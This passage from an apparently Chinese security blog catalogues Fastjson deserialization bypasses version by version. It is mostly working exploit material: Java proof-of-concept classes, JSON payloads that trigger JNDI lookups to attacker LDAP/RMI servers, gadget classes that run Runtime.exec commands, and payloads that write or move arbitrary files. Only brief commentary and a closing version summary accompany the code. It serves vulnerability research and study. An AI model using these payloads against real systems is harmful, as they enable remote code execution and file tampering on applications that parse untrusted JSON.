if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

判断到开头是“L”,结尾是”;”的时候,会调用loadclass方法

fastjson 1.2.42

添加了一个检测是不是L和;结尾,同时把明文黑名单替换成hash

image-20240217111334095

不过已经被碰撞出来了大部分https://github.com/LeadroyaL/fastjson-blacklist

1
2
3
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}

这里可以双写LL和;;绕过

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.fastjson.JdbcRowSetImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImpl_poc {
public static void main(String[] args) {
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:7777/evil\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(PoC);

}
}

image-20240217111806218

Fastjson 1.2.25-1.2.43

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

加入[{绕过

Fastjson 1.2.25-1.2.45

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

存在mybatis3.x.x系列<3.5.0

fastjson1.2.47-66

在这个版本里面修复了json内置绕过,里面能够利用的漏洞主要还是一些组件漏洞。

org.apache.shiro-core-1.5.1

存在可控的lookup参数点

1
2
3
4
5
6
7
public T getInstance() {
try {
if(requiredType != null) {
return requiredType.cast(this.lookup(resourceName, requiredType));
} else {
return (T) this.lookup(resourceName);
}
poc
1
2
3
4
5
6
7
8
9
10
11
12
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class AutoCloseable {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:7777/evil\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(JSON.parseObject(poc));
}
}

image-20240217143659606

br.com.anteros.dbcp.AnterosDBCPConfig

1
2
3
4
5
6
7
8
9
10
11
12
private Object getObjectOrPerformJndiLookup(Object object)
{
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String) object);
}
catch (NamingException e) {
throw new IllegalArgumentException(e);
}
}
return object;

传递的参数是metricRegistry进入到lookup中,参数可以控制

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class metricRegistry {
public static void main(String[] args) {
String poc ="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8080/evil\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

jndiNames可控导致注入

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class metricRegistry {
public static void main(String[] args) {
String poc ="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:8080/evil\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

1
2
3
4
5
6
7
8
9
10
public void setProperties(Properties props) throws SQLException, TransactionException {
String utxName = null;
try {
utxName = (String) props.get("UserTransaction");
InitialContext initCtx = new InitialContext();
userTransaction = (UserTransaction) initCtx.lookup(utxName);
} catch (NamingException e) {
throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
}
}

参数可以控制

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class metricRegistry {
public static void main(String[] args) {
String poc =" {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:8080/evil/\"}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}

都是基于黑名单的绕过

Fastjson =1.2.50

1
2
3
4
5
6
7
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:1389/test",
"command":"a"
}

Fastjson1.2.50-1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.50-1.2.60

无需开启autotype

1
2
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.50-1.2.61

开启autotype

1
2
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson <=1.2.62

利用条件:

  • 需要开启AutoType
  • 目标服务端需要存在xbean-reflect包

利用载荷:

1
2
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

Fastjson <=1.2.67

利用条件:

  • 开启AutoType

  • JNDI注入利用所受的JDK版本限制

  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖

  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖

    1
    2
    {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
    {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

Fastjson =1.2.68

expectclass绕Autotype

@type反序列化时指定了expectclass,也就是指定了期望类

Throwable.class

没有开AutoType,并且如果指定了expectclass

要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类

1
2
1、黑名单限制
2、漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类

后面都是各位大佬的poc,仅作收集

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;

public class ThrowableMain {
public static void main(String[] args) {
String payload ="{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\": \"org.heptagram.fastjson.ViaThrowable\",\n" +
" \"domain\": \"qbknro.dnslog.cn|calc\"\n" +
"}";
JSONObject.parseObject(payload);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.heptagram.fastjson;

import java.io.IOException;

public class ViaThrowable extends Exception {
private String domain;

public ViaThrowable() {
super();
}

public String getDomain() {
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}

Runnable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.heptagram.fastjson;

import java.io.IOException;

public class ExecRunnable implements AutoCloseable {
private EvalRunnable eval;

public EvalRunnable getEval() {
return eval;
}

public void setEval(EvalRunnable eval) {
this.eval = eval;
}

@Override
public void close() throws Exception {

}
}

class EvalRunnable implements Runnable {
private String cmd;

public String getCmd() {
System.out.println("EvalRunnable getCmd() "+cmd);
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
} catch (IOException e) {
e.printStackTrace();
}
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}

@Override
public void run() {

}
}
--------------------------------------------------------
package org.heptagram.fastjson;

import com.alibaba.fastjson.JSONObject;

public class ExecRunnableMain {
public static void main(String[] args) {
String payload ="{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.heptagram.fastjson.ExecRunnable\",\n" +
" \"eval\":{\"@type\":\"org.heptagram.fastjson.EvalRunnable\",\"cmd\":\"calc.exe\"}\n" +
"}";
JSONObject.parseObject(payload);
}
}

AutoCloseable_writefile_rmb122.json(适用于JDK 11)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//写文件
// echo -ne "RMB122 is here" | openssl zlib | base64 -w 0
//eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==

//$ echo -ne "RMB122 is here" | openssl zlib | wc -c
//22
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}

AutoCloseable_writefile_rmb122_8.json(适用于JDK 8/10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}

文件移动

1
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}

文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt", \\创建一个空文件
"tempPath": "D:/wamp64/www/test.txt"\\创建一个有内容的文件
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=", \\base64后的文件内容
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

rce

(利用类必须是expectClass类的子类或实现类,并且不在黑名单中)

1
2
3
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行

1
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}

1.2.72<fastjson<=1.2.80

jython+pgsql

1
{"a":{"@type":"java.lang.Exception","@type":"org.python.antlr.ParseException",},"b":{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.python.antlr.ParseException","type":{}}}},"c":{"@type":"org.python.core.PyObject","@type":"com.ziclix.python.sql.PyConnection","connection":{"@type":"org.postgresql.jdbc.PgConnection","hostSpecs":[{"host":"127.0.0.1","port":2333}],"user":"user","database":"test","info":{"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg":"http://127.0.0.1"},"url":""}}}

利用包头的via执行

总结

1.2.24之下无限制,随便玩

1.2.25到1.2.41新增黑白名单,使用L开头;结尾进行绕过

1.2.42双写L开头;结尾进行绕过

1.2.43使用[进行绕过

1.2.47及以下使用MiscCodec类刷新缓存绕过

1.2.48cache为false,不给存入缓存

1.2.48到1.2.80利用expectClass绕过

-1.2.48到1.2.68使用AutoCloseable进行绕过

-1.2.69到1.2.80使用ThrowableDeserializer进行绕过

参考

https://www.freebuf.com/vuls/361576.html

Fastjson1.2.80反序列化漏洞分析与利用 - FreeBuf网络安全行业门户

https://cloud.tencent.com/developer/article/2086788

scz.617.cn:8/web/202008081723.txt

Java反序列化链子详细分析合集1 - 首页|Aiwin

https://www.freebuf.com/articles/web/360632.html